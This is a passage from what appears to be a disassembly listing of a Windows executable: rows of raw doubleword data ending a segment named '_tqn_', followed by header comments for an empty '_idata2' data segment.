0C9B9047Dh, 9947145Fh, 0AEC7750Bh, 0B8CD6F00h dd 863C6521h, 0E789FD83h, 0CDF43216h, 0B58CEF6Eh, 0B6AE2BB0h dd 0A99CF294h, 391575C0h, 70C1100Bh, 40C05376h, 326D429Eh dd 16BA1C0Bh, 79143236h, 0DFAD681Ch, 15B904F0h, 1D327BC0h dd 408B95F3h, 408EB794h, 7BA4F818h, 31CEF749h, 0D1E7FFFDh dd 3BE76C55h, 0A6153E96h, 0D5F86CA7h, 0CD8540B9h, 0B631F97Ah dd 8820D956h, 39EB39BDh, 0BA594DC0h, 9486026h, 46BDF006h dd 0FAACEBBDh, 2E405884h, 0EB42523Fh, 11595AF5h, 0C2C564F2h dd 325283B9h, 0C0768442h, 341AD851h, 300D38E8h, 0EE416DA1h dd 212E2CCEh, 0FB41E8A5h, 0BE8E3E88h, 0D2F2F650h, 705B4244h dd 21C2C029h, 89CD63A6h, 8128C83Fh, 0BF4DE0A9h, 2D61327Fh dd 4DDDE0ADh, 2DAA647Dh, 0AE92E49Dh, 4866BE7Ah, 0E156531Dh dd 0C4257552h, 0D5A5606Dh, 255262Eh, 4B7BCE43h, 0C9AE8CD4h dd 0A9203031h, 0CD117B22h, 0D2E1A7C9h, 0E072FF4Eh, 0D7230185h dd 0CDE51FC9h, 0B9DA791Eh, 0FC936D28h, 0F756EC6Bh, 0A4DA6E0Ch dd 0A4DB741Eh, 0CD876723h, 5581ED7Eh, 0EC55BC87h, 0C99F38CAh dd 0EC63DC63h, 14EE065h, 336DE61Fh, 9C3219ECh, 0DC0DAF64h dd 599D641h, 2479C70Bh, 0FB8F9D01h, 0DBC4A793h, 0F120381Ch dd 93205F72h, 171E0F5h, 46F76EC0h, 99AB2C4Ch, 0D494D919h dd 0B855FC14h, 0BF894F1Fh, 95560FFCh, 0D3C0FBCh, 9DA8E0CEh dd 33454D2Ch, 0C05AD73h, 0A43F8414h, 803D8C2Fh, 0C6F2DBFAh dd 8C220824h, 0A99A0200h, 0B2C74833h, 4E081F9Bh, 49D9FE4Eh dd 0CC19388Dh, 8A725DB0h, 53B10AAh, 8923C08Fh, 0C712C840h dd 1212FF46h, 365E9954h, 0C0216149h, 0CF50830Ch, 886FE633h dd 0D350086h, 0F7E26894h, 7BD40F56h, 4B2E0B9Fh, 550295Fh dd 0A6936A1Fh, 0E8195DD3h, 58571E6Dh, 6A332227h, 339D046Ch dd 0E8267C81h, 0EDA71E80h, 0FB165D51h, 0CD75EF8Fh, 0C2B85D74h dd 2C2AC1D9h, 33F8074Ch, 811EC97Fh, 0E19042C8h, 0AD8B93B9h dd 54A45457h, 0A7EB5853h, 26502E7Dh, 94A5B263h, 21DB405Eh dd 0ECC94C9Dh, 4E92E05Eh, 0D9D60A7Ch, 0FE738BBCh, 1AA05C54h dd 77A88657h, 0A2BE9E56h, 0C495671h, 0C0039F49h, 0A695B84Dh dd 0B69C8CD3h, 77351108h, 0C29F3385h, 0DD6F8321h, 74B3CBF0h dd 7ECEC6C5h, 0CC7E6F46h, 491F111Ch _tqn_ ends ; Section 6. (virtual address 00208000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00208000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 608000h dd 80h dup(0) align 1000h _idata2 ends end start